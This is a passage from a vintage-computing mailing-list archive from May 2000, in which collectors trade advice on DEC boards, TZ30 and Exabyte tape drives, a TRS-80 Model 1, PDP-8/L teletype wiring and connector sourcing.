to a dumpster. I would > like some background and identification on this system if anyone knows. > At first blush I didn't think it would be interesting, but it looks like an > unibus system; it also had some M8043 and M8017 cards in it so it must be > something DECish? Well, those are Q-bus... Why do you think it looks like a Unibus? Is it hex wide? > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > connector (much smaller than 10b2). Main chip is N8X305N I've seen N8X305N somewhere recently, but I can't remember what it is :-( It's a Signetics part, if you want to search for it. > one #70201 which obviously went to external devices - two 50 pin headers > which end in same connector 11/23 uses to go to external RD52's Might be a Pertec-style tape interface? > Plessey Peripheral Systems board with 50-pin berg connector #703755 That sounds like a Plessey (or General Robotics) RXV21 emulator. If so, it connects to one or two 8" drives with industry-standard SA800-type interface, and it will handle double-sided drives (a la 'RX03') too. Sorry, I can't check the number as mine's inaccessible right now. Any other distinguishing marks? -- Pete Peter Turnbull Dept. of Computer Science University of York From mcguire at neurotica.com Sun May 21 20:12:03 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:53 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: Re: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? (Pete Turnbull) References: <000d01bfc342$79484320$0101a8c0@jay> <10005220202.ZM16908@indy.dunnington.u-net.com> Message-ID: <14632.35171.934414.581044@phaduka.neurotica.com> On May 22, Pete Turnbull wrote: > > Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type > > connector (much smaller than 10b2). Main chip is N8X305N > > I've seen N8X305N somewhere recently, but I can't remember what it is :-( > It's a Signetics part, if you want to search for it. It's a microcontroller...very early architectural ancestor of today's PICs if memory serves. -Dave McGuire From healyzh at aracnet.com Sun May 21 20:15:24 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:53 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <14632.32043.464425.181949@phaduka.neurotica.com> References: Semi-OT: DECstation/TZ30 question (Zane H. Healy) Message-ID: > Hmm...can't help you with that; never tried it. I do remember, >however, reading something recently (here? or maybe NetBSD's >port-vax list?) about the TZ30 not being a well-behaved SCSI citizen >and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere >to work properly. I know it's fussy on PC SCSI controllers, but I expected it to work on a DECstation since some of the older ones came with TZ30's. I'm suspecting the 5000/133 is too new of a model to support it (sort of like trying to use a RRD40 (think that's the right designation for the external SCSI CD-ROM with the wierd caddies) on a Alpha (though the Alpha will recognize it, the software won't allow it). Sounds like it's a good thing I didn't waste my time trying to finish getting NetBSD up and running on the DECstation. I also tried it on my PII/333 Linux box, with a Diamond UW-SCSI card, but didn't really expect that to work. I swear that (*$ ^&@* thing won't talk to anything but a Exabyte tape drive! > Coincidentally though, Zane, I'm doing the same thing tonight...I >just finished putting together an 11/73 and now (in parallel with a >few other things) I'm trying to figure out how to get the >distribution onto a TK50. > > I have a MicroVAX 3100-80 running VMS 7.2 with a TZ30...perhaps I >could write that tape there? Anybody know what VMS incantations I'd >have to do to "get there from here"? *I WISH*!!!! If that was the case I'd have just stuffed a cleaned TK50 drive in the MicroVAX 3 in the garage (been meaning to anyway). However, reading the doc's on BACKUP, the smallest blocksize it supports is 2048, and to make the boot tape you need 512 and 1024-byte blocks. Is there a VMS equivalent of 'dd'? Dang, the person at work I loaned my UNIX for VMS Users book must still have it :^( It's not on the shelf where it belongs. I've got my RSX-11 drives in the /73 at the moment (gotta love SCSI drive sleds), and had originally planned on using PIP to put the files on the tape. BTW, do you have any idea how long it takes to do a DECnet copy of those files? Sheesh! Just that killed several hours. Anyway I'm thinking using PIP and telling it the Block-Size *should* work. That's when the TZ30 decided to act up. I think I've got that taken care of, now I've got to scrounge up another tape. >> Once again I'm asking myself *why* am I doing this, I like my UNIX >> lightening fast and flashy. > > Well, I've never run Unix on an '11...but you and I both have run a >lot of 11s in our day, and you know darn well there's nothing >slouchy about a J11. ;) > > -Dave McGuire Yeh, but my reason for running all these old systems is so I can play with the OS's. I use UNIX every day, so this strikes me as being kind of stupid and a waste of my time. But hey, I'm determined to get UNIX to boot, and in the long run I hope to have 2.11BSD, Ultrix-11, and UNIX V7M all running! Never said I don't do things I think are stupid :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From retro at retrobits.com Sun May 21 20:32:41 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:52:53 2005 Subject: Update 2: TRS-80 Model 1 PSU (and monitor question) References: <20000521232516.8016.qmail@brouhaha.com> <10005220120.ZM16889@indy.dunnington.u-net.com> Message-ID: <007001bfc38d$9f4668e0$0201640a@colossus> Hi again folks, Thanks for all the useful info, you were all wonderful. Tony, I took your advice and put things back together one step at a time, and the fuse held throughout the process. Success! The TRS-80 Model 1 lit up with the traditional Memory Size? (After pressing return, I learned it's a L2 BASIC enhanced model, BTW.) Now, the next challenge: Plugging into a monitor. I didn't get a TRS-80 monitor with the Model 1. I did get the pinouts for the video connector, and connected it to a composite monitor I have. It worked (hence the "success"), and was readable, but the picture was fuzzy. This doesn't necessarily surprise me...I thought I remembered the TRS-80 monitor being odd in some way. So the question...do I need to do something special to get the TRS-80 Model 1 to look good with a standard composite monitor (or is it a lost cause)? On a side note, for personal interest, a little background on how I obtained this Model 1: I was thrift-shop hopping, and having a bad day. 3 out of 4 stores, nothing. Zip. Zilch. Checked the computer/electronics section of the 4th (and final) store of the day, and nothing. So, I decided to take a look in the power supply/joystick/cable section. There, buried underneath some other worthless stuff, was the Model 1, with PSU taped to the body! I was amazed, considering that they don't grow on trees. It's in decent shape, too, with all keycaps in great shape, only minor wrist wear on the silver coating, and no scratches, dents, cracks. Only $4.00, by the way. And no tax, as I live in Oregon. No disk drive or expansion unit, and only an (authentic) TRS-80 data cassette unit to store programs on. The tape drive was $5.00 (ironic), but it's in great shape too. Got it home, and gave it a blind "test-drive". When the red LED didn't illuminate, I knew I was in trouble. So, I checked the specs on the PSU (using the Internet), and used my handy-dandy DMM to survey the voltage situation. No juice. Hence, my original message... Again, thanks for all the help! This is a great bunch! - Earl From allisonp at world.std.com Sun May 21 19:27:16 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:53 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? Message-ID: <000c01bfc387$32e03920$6c64c0d0@ajp166> >> unibus system; it also had some M8043 and M8017 cards in it so it must be >> something DECish? Those are qbus. M8043 is a DLV11j 4 line serial and the M8017 is a DLV11-E serial card. >I've seen N8X305N somewhere recently, but I can't remember what it is :-( >It's a Signetics part, if you want to search for it. It's a microcontroller used commonly in hard disk controllers as the cpu. Allison From wilson at dbit.dbit.com Sun May 21 20:48:37 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:53 2005 Subject: Mate-n-lock connectors? Message-ID: <200005220148.VAA16689@dbit.dbit.com> Does anyone know of a source for new Mate-n-lock connectors, the horrible 8-pin nylon things that DEC used to use for everything? I'm specifically looking for the female ones with PCB-mount pins. The prints I have in front of me (for the G848 flip chip) say the housing is 1209340 and the pins are 1209456, but those part #s aren't listed in the CAS pricelist (even if you add 00 on the end and put hyphens in the appropriate places). Amp still uses the name "Mate-n-lock" for some of their current nasty nylon connectors, but I couldn't find anything on their web site that had 0.200" spacing and 8 pins in a row, and none of the regular electronics catalogs seems to have anything that looks even remotely right. Inmac used to sell the bare connectors in the early 80s, but they got eaten a while back and as far as I can tell there's no trace of their mini-oriented stuff left. Thanks, John Wilson D Bit From wmsmith at earthlink.net Sun May 21 20:51:37 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:53 2005 Subject: I need to make a cable References: Message-ID: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> I need to make a keyboard cable for one of my Texas Instruments Portable Professional Computers. It is a proprietary format with a standard CPU keyboard connector on one end and a PS/2 female connector on the other. I have a keyboard cable from a Texas Instruments Professional Computer, which has the CPU connector (and a grid-type plug on the other end) and is a five wire cable. I had hoped to splice a standard PS/2 cable onto it, but upon opening one of these up I see there are only 4 wires so I'm a wire short (even assuming that the missing wire was in the same spot). I could solder the five wires to the conector pins (I have a really nice Hakko soldering station), but this would be a mess as you need to mutilate the cable connector in order to get to the pins. My question is, does anyone know of a PS/2 type cable that has connections to all 6 wires that I could splice onto the keyboard cable I have? -W From pechter at pechter.dyndns.org Sun May 21 21:27:38 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit In-Reply-To: from Gary Hildebrand at "May 21, 2000 10:57:47 pm" Message-ID: <200005220227.WAA02813@bg-tc-ppp86.monmouth.com> > Hello guys and gals, > > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Respond off-list to keep the clutter down. > > Kind regards > -- > Gary Hildebrand > > ghldbrd@ccp.com I believe it's 5-8gb... I've only got the 8200's and the 8505's a find. I'd love to find a cheap one. Just spent 500 to get one swapped out at work. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From rutledge at cx47646-a.phnx1.az.home.com Sun May 21 22:09:40 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:53 2005 Subject: I need to make a cable In-Reply-To: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net>; from Wayne M. Smith on Sun, May 21, 2000 at 06:51:37PM -0700 References: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> Message-ID: <20000521200938.C1453@electron.quantum.int> On Sun, May 21, 2000 at 06:51:37PM -0700, Wayne M. Smith wrote: > PS/2 cable onto it, but upon opening one of these up I > see there are only 4 wires so I'm a wire short (even > assuming that the missing wire was in the same spot). > I could solder the five wires to the conector pins (I > have a really nice Hakko soldering station), but this > would be a mess as you need to mutilate the cable > connector in order to get to the pins. Most likely not all pins are used; if memory serves there is 5V, ground, data, and clock. You can probably use a search engine to find a PS/2 connector pinout on the web. And you can get PS/2 connectors at electronics stores like Fry's. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From ethan_dicks at yahoo.com Sun May 21 22:16:13 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:53 2005 Subject: heads up MMJ crimper tool. Message-ID: <20000522031613.24473.qmail@web616.mail.yahoo.com> --- Chuck McManis wrote: > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > MMJ connectors. They get $40 + tax for it which is a lot less than Black > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > --Chuck Funny you should mention that tool - I bought that exact one at Fry's in 1996 for a friend who then didn't buy it from me. I just sold mine (with MMJ) to work because in four years, I never had to make an MMJ cable - I just pulled pre-made ones out of my serial cable box. Glad to see they are back in stock; I never knew they were gone. Can't beat the price, though. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From jrkeys at concentric.net Sun May 21 22:31:22 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:53 2005 Subject: Great Find Message-ID: <00bc01bfc39e$34f9d2e0$e1731fd1@default> Went to a police auction on Saturday and picked up a HP95LX that works great for only $5 in a box with 3 other items. No power supply was with it that I could find but it works fine using two AA's. Stopped at a Goodwill on the way home and got a couple nice mouse pads for the collection and couple nice books.A couple weeks back my wife picked a brand in the box 512k memory card for the 95LX and the cable connection kit for the 95LX at the same store for about $5 each Will be going down to Houston for two weeks and hope to get some good finds while there. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/1a2df635/attachment-0001.html From ethan_dicks at yahoo.com Sun May 21 22:39:09 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:53 2005 Subject: PDP 8/L console Message-ID: <20000522033909.3335.qmail@web615.mail.yahoo.com> --- Lawrence LeMay wrote: > Does anyone have that information on the W076? I have the schematic in the PDP-8/L reference schematics. Isn't there a copy of these on Highgate? > I would want to connect a Teletype model 33 (assuming the one i'm > supposed to be getting one of these days actually works...). That'd be best, especially if you want to load software and don't have a high-speed paper-tape reader. > Also, I would like to be able to connect an IBM to the 8/L, and hopefully > use it to download paper tape images (probably using a rs232/current-loop > interface). Has anyone been using an IBM like this in place of a > ASR terminal? No, but you can buy/make 20mA-to-RS-232 adapters. Also, I have very successfully used DEC VT220 on my -8/L - it already has a 20mA connector on the back. My current arrangement is to use my high-speed reader for loading and my VT220 for running diags, playing games, etc., to save on TTY paper. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From ethan_dicks at yahoo.com Sun May 21 23:08:59 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:53 2005 Subject: Big Score at Dayton Hamvention RCA VIP 3301 terminal Message-ID: <20000522040859.18009.qmail@web614.mail.yahoo.com> I only got to spend Friday morning at the Hamvention, but I think my biggest find was an RCA VIP-3301 terminal. I remember seeing ads for this 20+ years ago. The seller started off asking $50, but I talked him down to $10. eBay eat your heart out! Inside, the 1800-series chips are the following - 1802, 1854, 1869, 1870, several 1852 I/O ports, a couple of 1856 latches?, one 1867, and one 1823. The RAM appears to be five 2114 chips, the rest is glue logic and some level converter hardware, including optoisolators for the switch-selectable 20mA mode. The configuration jumpers read as the following: UC U & LC E/O M/S E/M O/S 2SB 1SB F-DPX H-DPX CTRL OFF 40/24 20/12 CL EIA LOCAL LINE 110 300 1200 4800 9600 19.2K And the backplate has the following - volume pot, speaker on/off switch, RCA video-out jack, unmarked 5-pin DIN, DB25F serial connector, 5-pin DIN marked "POWER" and a power switch. There is a LM340T bolted to the case inside, so presumably, it takes in something around 7-9VDC and regulates it down to +5VDC, but since the design is 100% CMOS and Linear circuits, it doesn't _have_ to be exactly that. So... beyond the obvious things I've mentioned, does anyone have any interesting comments about this beastie? At this point, I have no idea if the membrane keyboard is any good. I have yet to power it on. Thanks in advance, -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From richard at idcomm.com Mon May 22 00:10:03 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit References: <14632.28883.224387.736116@phaduka.neurotica.com> Message-ID: <001501bfc3ab$ff35c0c0$0400c0a8@winbook> I've followed exabyte tape units quite closely on dejanews, etc, and have only seen one offered for $100 or so. That one was not packaged, and I'd happily have bought it, having paid more than twice that on behalf of others wishing to have convenient and reliable backup media available. These drives are quite fussy about the media, and, in fact, even the cleaning tapes you use. They are SONY mechanisms, hence seem to like SONY media and cleaning tapes, though I've use media from almost every major vendor. However, unlike the 8200's, these will only work with data-grade tapes. The 8200 isn't supposed to work with regular handycam cartridges, but lacks the ability to discern whether the tape is data-grade on its own. The video grade tapes work about 5% of the time. The 8505 and 8505XL spit them out quite unceremoneously, though I haven't yet figured out how they can detect that it's a video tape and not a "certified" data grade cartridge. Dick ----- Original Message ----- From: Dave McGuire To: Sent: Sunday, May 21, 2000 5:27 PM Subject: Re: exabyte tape unit > On May 21, Gary Hildebrand wrote: > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. Respond off-list to keep the clutter down. > > Wow, if you bought it for the case, you probably got it cheap. 8505 > drives go for $100-150 nowadays. > > I use Sony QG-112m data-grade tapes in my 8505 drives. > > > -Dave McGuire > From richard at idcomm.com Mon May 22 00:23:21 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit References: <20000521232516.8016.qmail@brouhaha.com> Message-ID: <001b01bfc3ad$dadc6a60$0400c0a8@winbook> Actually, these drives produce nominally 10GB capacity on a 112 meter tape unless you turn off the "hardware" compression. The ability to do this is is necessary in order to maintain compatibility with the "standard" 8mm tapes produced by the EXB8200 drives which were very popular at one time. If your drive has a beige front with a grey knurled-finish button on the front, it's likely it's an 8505XL, which takes 160-meter tapes on which it yields nominally 15 MB of capacity. I harbor no ill will toward Sony or Exabyte for makeing the drive reject the garden variety video handycam cartridges, though I'm not sure anyone ever did anything specific to make the cheaper/utility grade handycam cartridges useable. The data-grade tapes only cost about 4 bucks for a 112-meter tape that yields about 10 GB of storage. I've got a Travan (1/4" cartridge) tape drive for which the 1 GB tapes cost $40 last time I bought one. I bought the drive at the request of a client. I got that drive back when I was looking for a cardboard box to put a few things in . . . in his dumpster. I can't say I didn't warn him. I've got 8-year-old backup sets that have never faltered, though I routinely do a full backup of EVERYTHING every day. That's the nice thing about having a backup device with sufficient capacity on a single element of its media that it allows a complete backup without anyone having to change the cartridge. That way a backup happens as scheduled, regardless of whether I remember or forget. If I do happen to forget to change the cartridge in the morning, the backup set is overwritten, which is not ideal, but it definitely gets done. It takes a long time, but from NT, via fast ethernet, the job takes only a little time, usually early in the morning, and is fully automatic so I don't have to strain my fading grey cells. Dick ----- Original Message ----- From: Eric Smith To: Sent: Sunday, May 21, 2000 5:25 PM Subject: Re: exabyte tape unit > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. > > Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data > tapes. Some 8mm video tapes (typically 112 meter?) have been known to > work, but if you go that route, don't use cheap ones. It's rumored that > Sony changed their 8mm tape formulation at some point to prevent their > video tapes from working in Exabyte drives, since they wanted to sell > higher-priced data-grade tapes. > > Personally, I use data grade tapes anyhow. > > In the "4mm" world (DAT & DDS), it astonishes me that most audiophiles will > only use DDS (data-grade) tape for recoding audio, because they don't want > any dropouts, but many computer users try to use cheap audio-grade DAT > tape for their data. I guess that shows who values their recordings more. > > And yes, I've personally verified that the error rates on DDS tapes from > the major manufacturers are in fact lower than the error rates on the same > manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, > I don't know, as I haven't done any comparisons. > > > Respond off-list to keep the clutter down. > > Nope. > From richard at idcomm.com Mon May 22 00:24:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:53 2005 Subject: Misc Avail : morrow hd manual References: <4.3.1.2.20000521165833.00e1ccc0@208.226.86.10> Message-ID: <002301bfc3ae$0413de40$0400c0a8@winbook> There was a Morrow HDC sold on eBay, without its manual, a couple of months back. Perhaps you'd like to contact the guy to see if he wants to bribe you to sell it to him. Dick ----- Original Message ----- From: Chuck McManis To: Sent: Sunday, May 21, 2000 5:59 PM Subject: Misc Avail : morrow hd manual > I found an old Morrow HD-DMA manual (S-100 hard disk card I presume) if you > want it, let me know and I'll mail it to you. > > --Chuck > From richard at idcomm.com Mon May 22 00:35:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit References: <200005220227.WAA02813@bg-tc-ppp86.monmouth.com> Message-ID: <003301bfc3af$900b0e40$0400c0a8@winbook> I've routinely gotten good 8200's for <$50 by searching DejaNews for them. I've happily paid $100 when I needed an 8500, more if it's an 8500C (hardware compression) and if I thought I needed another 8505XL, I'd happily pay $250 for one. The first of these drives I got was from an Exabyte employee who built them from the scrap box. I started using it in '91 and it still backs up about 10 GB every day. It's been quite solid when I've attempted to restore to a replacement drive, and, aside from software quirks, works as well as I need. I have spent MANY hours and days exercising, testing, and verifying with these drives and find them refreshingly reliable. I've never had a backup turn out to be unusable, nor have I lost any files due to media flaws or the drive's inability to recover the data. With the exception of the 8200, all the 8xxx series from Exabyte are SCSI-II, which means there's software to support them. On a separate SCSI channel from the main array, server backup under NT or Netware works VERY well with them. Dick ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 21, 2000 8:27 PM Subject: Re: exabyte tape unit > > Hello guys and gals, > > > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is in > > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > > keep it together. Respond off-list to keep the clutter down. > > > > Kind regards > > -- > > Gary Hildebrand > > > > ghldbrd@ccp.com > > > I believe it's 5-8gb... > > I've only got the 8200's and the 8505's a find. > I'd love to find a cheap one. > > Just spent 500 to get one swapped out at work. > > > Bill > > > -- > bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? > From mrbill at mrbill.net Mon May 22 02:22:44 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:53 2005 Subject: *ping* dave mcguire Message-ID: <20000522022244.G12544@mrbill.net> Dave McGuire, please get in touch with me off-list.. Thanks. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From pete at dunnington.u-net.com Mon May 22 02:21:09 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:54 2005 Subject: I need to make a cable In-Reply-To: "Wayne M. Smith" "I need to make a cable" (May 21, 18:51) References: <004c01bfc390$47392ea0$48a1b2d1@Smith.earthlink.net> Message-ID: <10005220821.ZM17216@indy.dunnington.u-net.com> On May 21, 18:51, Wayne M. Smith wrote: > I need to make a keyboard cable for one of my Texas > Instruments Portable Professional Computers. It is a > proprietary format with a standard CPU keyboard > connector on one end and a PS/2 female connector on the > other. I have a keyboard cable from a Texas > Instruments Professional Computer, which has the CPU > connector (and a grid-type plug on the other end) and > is a five wire cable. I had hoped to splice a standard > PS/2 cable onto it, but upon opening one of these up I > see there are only 4 wires so I'm a wire short Yes, PS/2 only uses 4 wires: ------ 1 Data / 5 3 \ 2 (Reserved) | --- 1 | 3 Signal Ground | --- 2 | 4 Power +5V \ 6 4 / 5 Clock ------ 6 (Reserved) > My question is, does anyone know of a PS/2 type cable > that has connections to all 6 wires that I could splice > onto the keyboard cable I have? Some Sun and SGI cables use five or six. For example, an SGI keyboard cable for an Indigo uses pins 1-5, and early 4D series use all six. Some extension cables sold for mice may have more than 4, because some dual serial/PS2 mice use them. -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Mon May 22 02:46:47 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:54 2005 Subject: Mate-n-lock connectors? In-Reply-To: John Wilson "Mate-n-lock connectors?" (May 21, 21:48) References: <200005220148.VAA16689@dbit.dbit.com> Message-ID: <10005220846.ZM17258@indy.dunnington.u-net.com> On May 21, 21:48, John Wilson wrote: > Does anyone know of a source for new Mate-n-lock connectors, the horrible > 8-pin nylon things that DEC used to use for everything? I'm specifically > looking for the female ones with PCB-mount pins. The prints I have in front > of me (for the G848 flip chip) say the housing is 1209340 and the pins are > 1209456, but those part #s aren't listed in the CAS pricelist (even if you > add 00 on the end and put hyphens in the appropriate places). > > Amp still uses the name "Mate-n-lock" for some of their current nasty nylon > connectors, but I couldn't find anything on their web site that had 0.200" > spacing and 8 pins in a row, and none of the regular electronics catalogs > seems to have anything that looks even remotely right. I don't remember seeing 8-in-a-row in the Commercial Mate-N-Lok range for a long time, but two-rows-of-4 still exists, as does most of the rest of the range. If you can't find it on their website, try emailing them -- I did that about a year ago for something, and got a very helpful response. Unfortunately, I can't find the email so I can't just give you the address, but I seem to remember it was easy to find from their search page. -- Pete Peter Turnbull Dept. of Computer Science University of York From mcguire at neurotica.com Mon May 22 03:17:41 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:54 2005 Subject: *ping* dave mcguire In-Reply-To: *ping* dave mcguire (Bill Bradford) References: <20000522022244.G12544@mrbill.net> Message-ID: <14632.60709.684434.672537@phaduka.neurotica.com> On May 22, Bill Bradford wrote: > Dave McGuire, please get in touch with me off-list.. Heyhey...reply to old mail coming right up... -Dave From mcguire at neurotica.com Mon May 22 03:21:55 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:54 2005 Subject: *ping* dave mcguire In-Reply-To: Re: *ping* dave mcguire (Dave McGuire) References: <20000522022244.G12544@mrbill.net> <14632.60709.684434.672537@phaduka.neurotica.com> Message-ID: <14632.60963.705830.529378@phaduka.neurotica.com> On May 22, Dave McGuire wrote: > On May 22, Bill Bradford wrote: > > Dave McGuire, please get in touch with me off-list.. > > Heyhey...reply to old mail coming right up... DAMMIT I HATE FORCED REPLY-TO'S ON MAILING LISTS. -Dave McGuire From oliv555 at arrl.net Mon May 22 04:23:44 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:54 2005 Subject: Wanted: Manual and/or switch settings for Intel iSBC-012CX memory card References: <20000519043625.21480.qmail@brouhaha.com> Message-ID: <3928FC9F.F5DABF4D@arrl.net> Dug through some docs for the System310AP's (iSBC286s) that run one of our sims, only to find that the EX (not CX) was the optional board for these. Don't have the manual but found the default jumper setups for the EX, which probably would not be of help to you. You may want to try the iRMX user group for help. Been a while since I logged on there. They are at www.iRUG.com Nick Eric Smith wrote: > I recently was given some Intel iSBC-012CX memory cards. These are 512K > > > Anyhow, I'm looking for a manual for these boards, or at least information > on jumper settings. > > > Thanks! > Eric From foxvideo at wincom.net Mon May 22 05:48:54 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:52:54 2005 Subject: Mac IIcx video connection Message-ID: <3.0.5.32.20000522064854.007bc7a0@mail.wincom.net> I have just been given the remains of a Mac IIcx, and would like to determine its condition without spending too much money. Does anyone know the pinouts of the 15 pin video connector? Thanks Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From djg at drs-esg.com Mon May 22 06:55:23 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:52:54 2005 Subject: More PDP-8/L teletype stuff Message-ID: <200005221155.HAA07406@drs-esg.com> From: ard@p850ug1.demon.co.uk (Tony Duell) Subject: Re: PDP-8/L teletype connection > David Gesswein >> It took me a while to remember where they stuck the schematic for the W076 >> but I found it. If you get the 8/I maintenance manual from >> http://highgate.comm.sfu.ca/pdp8 volume I Figure 5-7 pg 5-16 shows the >> schematic for the W076 and the connections to the teletype. >> I see that the page was scribbled on, the numbers from top to bottom are >> 4 6 3 relay- 7 relay+. >Those numbers sound like the barrier strip terminal numbers for a (real) >ASR33 that's been converted to full-duplex. Am I anywhere close? That is in copper on the W076 board where the cable comes off the board to connect to the teletype. It does look like that is the teletype connection terminal numbers. >Be careful if you're working on an ASR33, becase IIRC the first 2 >terminals (nearest the side of the case) of that barrier strip carry live >mains (!). Another of those design decisions which you wonder about. >If necessary I can look up the ASR33 connections (I have the schematics >somewhere) and tell you what the terminals are. But remember that the >ASR33 transmit loop is non-polarised (it's a simple mechanical switch >network so it doesn't matter which terminal is +ve) but most electronic >current loop interfaces are polarised and you have to get the +ve and -ve >leads the right way round. The ASR33 manual can't help with this. > The ASR33 manuals are also on highgate with the schematics in print set. Those were a bunch of loose pages in several different sizes so I may of not had all of them. ****From: Ethan Dicks Subject: Re: PDP 8/L console - --- Lawrence LeMay wrote: > Does anyone have that information on the W076? >I have the schematic in the PDP-8/L reference schematics. Isn't there a >copy of these on Highgate? > Highgate only has 8/I schematics, similar (I haven't found a copy of the 8/L schematics yet). I did get a copy of the module location chart from Dave Mahoney which is on highgate. David Gesswein From SUPRDAVE at aol.com Mon May 22 07:05:07 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:54 2005 Subject: Mac IIcx video connection Message-ID: In a message dated 5/22/00 6:55:00 AM Eastern Daylight Time, foxvideo@wincom.net writes: > I have just been given the remains of a Mac IIcx, and would like to > determine its condition without spending too much money. Does anyone know > the pinouts of the 15 pin video connector? > > Thanks > > Charlie Fox well, since the IIcx has no builtin video, the pinouts will depend on what nubus video card you will use. DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From foxvideo at wincom.net Mon May 22 08:52:34 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:52:54 2005 Subject: Mac IIcx video connection In-Reply-To: Message-ID: <3.0.5.32.20000522095234.007ae840@mail.wincom.net> At 08:05 AM 5/22/2000 EDT, you wrote: >In a message dated 5/22/00 6:55:00 AM Eastern Daylight Time, 